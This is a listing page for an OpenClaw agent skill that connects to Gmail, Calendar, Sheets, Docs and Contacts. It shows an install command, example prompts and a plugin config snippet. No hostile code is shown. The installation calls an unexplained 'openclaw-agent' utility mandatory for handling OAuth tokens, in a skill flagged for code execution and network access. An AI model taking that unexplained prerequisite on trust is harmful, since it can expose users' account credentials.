google-workspace
Interact with Google Workspace services - Gmail, Calendar, Contacts, Sheets, and Docs. Send emails, manage calendar events, read/write spreadsheets, create documents, and sync contacts.
Why use this skill?
Automate Google Workspace with OpenClaw. Manage Gmail, Calendar, Sheets, and Docs using this powerful integration skill for seamless daily productivity.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/google-workspace-wwxemWhat This Skill Does
The google-workspace skill provides a robust bridge between the OpenClaw agent and the Google Workspace ecosystem. It allows users to automate complex workflows across Gmail, Google Calendar, Sheets, Docs, and Contacts. By leveraging the official Google APIs, this skill enables the agent to read and compose emails, schedule meetings, manipulate spreadsheet data, generate document content, and manage contact lists directly through natural language commands.
Installation
Installation is a two-part process. First, run the command clawhub install openclaw/skills/skills/hightower6eu/google-workspace-wwxem to bring the skill into your local OpenClaw environment. Second, ensure you have initialized the openclaw-agent utility as specified in the documentation. This utility is mandatory for managing secure OAuth sessions. After installation, place your credentials.json (downloaded from the Google Cloud Console) into your root directory and run the helper script to authenticate via your web browser.
Use Cases
This skill is ideal for office automation and personal productivity. Common use cases include: summarizing daily email threads, auto-populating Google Sheets with task progress, drafting document templates based on recurring meeting notes, and syncing professional contacts from external databases directly into Google Contacts. It is particularly powerful for recurring tasks that require data extraction from emails and subsequent entry into spreadsheets or calendar events.
Example Prompts
- "Check my Gmail for any emails from the finance team today and summarize the main action items in a new Google Doc."
- "Schedule a one-hour meeting on my calendar with John Doe for next Tuesday at 10 AM, and add a brief description regarding the project kickoff."
- "Extract the sales data from the latest spreadsheet titled 'Q3 Reports' and send a quick update email to my manager with the totals."
Tips & Limitations
To ensure peak performance, keep your token.pickle file secure as it stores your session credentials. Be mindful of Google API quota limits if you are processing large volumes of data. Always verify that the necessary scopes (Gmail, Calendar, Drive, etc.) are enabled in your Google Cloud Console project settings, or the agent may encounter 'insufficient permissions' errors. Note that the skill relies on the openclaw-agent utility to handle authentication persistence; if the service is not running, the agent will be unable to refresh access tokens, causing connection timeouts.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-google-workspace-wwxem": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, file-read, external-api, code-execution
Related Skills
polymarket
Trade prediction markets on Polymarket. Analyze odds, place bets, track positions, automate alerts, and maximize returns from event outcomes. Covers sports, politics, entertainment, and more.
x-trends
Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
phantom
Work with Phantom browser extension - add custom networks, import tokens, check connected dApps, troubleshoot issues, and manage Solana/Ethereum/Polygon accounts.